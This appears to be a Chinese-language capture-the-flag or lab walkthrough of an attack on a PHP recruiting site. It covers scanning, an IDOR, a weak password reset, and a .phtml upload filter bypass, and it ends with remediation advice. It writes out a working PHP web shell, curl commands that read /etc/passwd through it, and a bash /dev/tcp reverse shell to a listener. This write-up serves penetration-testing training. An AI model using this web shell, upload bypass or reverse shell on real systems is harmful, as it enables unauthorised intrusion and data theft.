侦察与枚举
端口扫描
nmap -sSCV -p- 10.48.183.51 -oA namp
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c9:0f:d5:a4:db:d1:fd:23:07:32:97:d2:a2:62:94:8d (ECDSA)
|_ 256 cd:c1:0c:8b:68:75:10:e6:94:19:5c:d1:5c:6c:6d:c7 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: RecruitX - Home
3306/tcp open mysql MySQL (unauthorized)
8080/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
可以看到四个开放端口。端口 22 是 SSH 端口,若后续获取了凭证,它将非常有用。端口 80 运行着目标 Web 应用程序(基于 Apache)。端口 3306 是 MySQL 端口,表明该应用在后端使用 MySQL 数据库;端口 8080 则显示了 Apache 的默认页面。
这些信息很有价值,因为它意味着该应用程序很可能会构建 SQL 查询,而任何输入处理方面的缺陷都可能导致与 SQL 相关的问题。
探索应用程序
curl -I http://10.48.183.51
HTTP/1.1 200 OK
Date: Wed, 15 Jul 2026 01:10:29 GMT
Server: Apache/2.4.58 (Ubuntu)
Set-Cookie: PHPSESSID=kiugdnlahmutlbb2r3gj75o6v5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
HTTP 响应头确认该服务器运行的是 2.4.58 版本的 Apache。PHPSESSID Cookie 证实了系统正在使用 PHP 会话管理功能。至此,已明确了技术栈:Apache + PHP + MySQL——即经典的 LAMP 配置。
目录枚举
gobuster dir -u http://10.48.183.51 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x php -o output
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 277]
/index.php (Status: 200) [Size: 21600]
/register.php (Status: 200) [Size: 14802]
/profile.php (Status: 302) [Size: 0] [--> /login.php]
/uploads (Status: 301) [Size: 314] [--> http://10.48.183.51/uploads/]
/jobs.php (Status: 200) [Size: 27698]
/data (Status: 403) [Size: 277]
/admin (Status: 301) [Size: 312] [--> http://10.48.183.51/admin/]
/test (Status: 200) [Size: 705]
/includes (Status: 301) [Size: 315] [--> http://10.48.183.51/includes/]
/api (Status: 301) [Size: 310] [--> http://10.48.183.51/api/]
/logout.php (Status: 302) [Size: 0] [--> /login.php]
/config (Status: 301) [Size: 313] [--> http://10.48.183.51/config/]
/login.php (Status: 200) [Size: 15107]
/dashboard.php (Status: 302) [Size: 0] [--> /login.php]
/reset.php (Status: 200) [Size: 14408]
/server-status (Status: 403) [Size: 277]
Progress: 436550 / 436552 (100.00%)
===============================================================
Finished
===============================================================
/admin- 存在一个管理后台,但它会重定向到登录页面。需要凭证才能访问它。/api- 存在一个 API 接口。API 往往会以不同于前端的方式公开数据。/reset.php- 这是一个密码重置页面。密码重置机制的实现往往存在安全隐患。/uploads- 这是一个上传目录。如果我们能上传文件,这可能成为实现代码执行的途径。/profile.php和/dashboard.php- 这些页面需要身份验证,因此必须登录后才能访问。
注册账户
有几个页面需要身份验证。让我们使用一个账户登录,以便探索该应用程序的功能。
探索 API
curl http://10.48.183.51/api/
{"endpoints":["/api/user","/api/jobs","/api/applications"]}
该 API 会列出其自身的端点,这在生产环境中属于信息泄露问题;
未经身份验证的用户本不应能够发现内部 API 路由。
IDOR
IDOR 漏洞始终位列最常见的 Web 应用程序缺陷之一。这类漏洞的产生,源于开发人员预设用户只会访问其自身的资源——而一旦有人修改了URL 参数,这一假设便会失效。
修复方法其实很简单:务器必须验证当前已通过身份验证的用户是否拥有访问所请求对象的权限。然而在实际开发中,这种检查往往被遗漏。
让我们把 id 参数改为 1,看看会发生什么。
提取 Cookie
curl -s -b "PHPSESSID=t1vh2q1ahco2t8tnj1nv43ftqb" "http://10.48.183.51/profile.php?id=1"
弱密码重置
密码重置机制存在三个明显的缺陷:
- 响应中显示的令牌:令牌应该只发送到帐户所有者的电子邮件,绝不能显示在屏幕上。
- 弱令牌生成- 六位数的数字令牌密钥空间小,容易受到暴力破解攻击。
- 没有速率限制- 该应用程序没有限制重置请求或令牌猜测的次数。
管理员面板
调查上传功能
该表单支持 PDF、DOCX 和图像文件。文件输入框的 accept 属性虽然限制了文件类型,但这仅仅是客户端的限制。尽管浏览器会执行这一限制,但通过直接发送 HTTP 请求,用户可以上传任意类型的文件。此外,页面还显示了上传的目标路径:/uploads/documents/。
测试上传限制
上传 .txt后发现服务器拒绝了该 .txt文件。
由此可见,确实存在某种形式的服务器端验证。但这种验证的彻底程度如何呢?让我们来测试一下服务器是仅检查文件扩展名,还是同时检查文件内容。我们将使用以下命令创建一个 PHP 文件:
echo '<?php echo "PHP is executing"; ?>' > test.php
创建完成后,尝试再次上传。结果仍然被拒。看来应用程序是在检查最终的文件扩展名。
让我们尝试另一种常见的绕过方法,即使用 .phtml 扩展名,Apache 通常会将其作为 PHP 进行处理:`
echo '<?php echo "PHP is executing"; ?>' > test.phtml
.phtml 扩展名被接受了。该应用程序的文件类型过滤器会拦截 .php,但未考虑到其他的 PHP 扩展名。这是一个常见的疏忽:开发人员虽然针对“危险”扩展名建立了黑名单,却遗漏了一些不那么常见、但服务器仍会将其作为 PHP 处理的扩展名。
远程代码执行
创建一个简单的示例并将其保存为shell.phtml:
<?php
if(isset($_GET['cmd'])) {
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
?>
curl "http://10.48.183.51/uploads/documents/shell.phtml?cmd=whoami"
curl "http://10.48.183.51/uploads/documents/shell.phtml?cmd=id"
curl "http://10.48.183.51/uploads/documents/shell.phtml?cmd=hostname"
curl "http://10.48.183.51/uploads/documents/shell.phtml?cmd=uname+-a"
现在我们可以看到主机名、内核版本,并可以在系统上执行任何命令。
读取敏感文件
检查列出用户的系统文件
curl "http://10.48.183.51/uploads/documents/shell.phtml?cmd=cat+/etc/passwd" | grep -v "nologin"
Reverse Shell
Web shell 虽然能用,但功能有限;每个命令都是一个单独的 HTTP 请求,没有交互式会话,而且包含特殊字符的复杂命令很难通过 URL 参数传递。
设置一个监听器:
nc -lvnp 4444
在第二个终端中,通过 Web Shell 触发反向 shell。我们将对有效载荷进行 URL 编码,以避免特殊字符带来的问题:
curl "http://10.48.183.51/uploads/documents/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.48.112.248/4444+0>%261'"
攻击链
在渗透测试报告中,你需要记录整个漏洞利用链,向客户展示每一个弱点是如何导致最终系统沦陷的。以下是我们的漏洞利用链:
- 信息枚举:发现该应用的技术栈(Apache、PHP、MySQL)、目录结构、API 接口、密码重置页面、文件上传目录以及管理后台。
- IDOR:利用
/profile.php?id=参数和/api/user?id=接口,得以枚举所有用户,包括管理员的姓名和电子邮件地址。 - 弱密码重置机制:密码重置机制直接在 HTTP 响应中显示了令牌(token),使我们能够为管理员生成令牌并更改其密码。
- 访问管理后台:利用已攻破的管理员账户,进入了管理后台,并发现了一个文件上传功能,其文件扩展名黑名单设置不完善。
- 远程代码执行:上传了一个使用
.phtml扩展名的 PHP Web Shell,成功绕过了过滤器。能够在服务器上执行命令,并进而获取完整的反向 Shell。
为此次项目撰写报告,以下是针对各项发现所提出的整改建议:
| 漏洞(Vulnerability) | 严重程度(Severity) | 修复建议(Remediation) |
|---|---|---|
| 用户资料和 API 存在 IDOR(不安全的直接对象引用) | 高(High) | 在每个请求中实施服务器端授权检查,验证已认证用户是否有权限访问所请求的资源。 |
| 密码重置令牌在响应中泄露 | 严重(Critical) | 密码重置令牌应仅通过电子邮件发送,页面仅显示通用的确认信息。使用至少 32 个字符的、密码学安全的随机令牌。 |
| 文件扩展名封锁列表(Blocklist)不完整 | 严重(Critical) | 使用允许列表(Allowlist)代替封锁列表(Blocklist),仅允许特定且预期的文件扩展名。同时验证文件内容(MIME 类型) ,而不仅是扩展名。将上传的文件存储在 Web 根目录之外。 |
| API 端点泄露 | 中(Medium) | 删除 API 索引端点,或将其限制为仅认证管理员可访问。不要向未认证用户暴露内部 API 路由结构。 |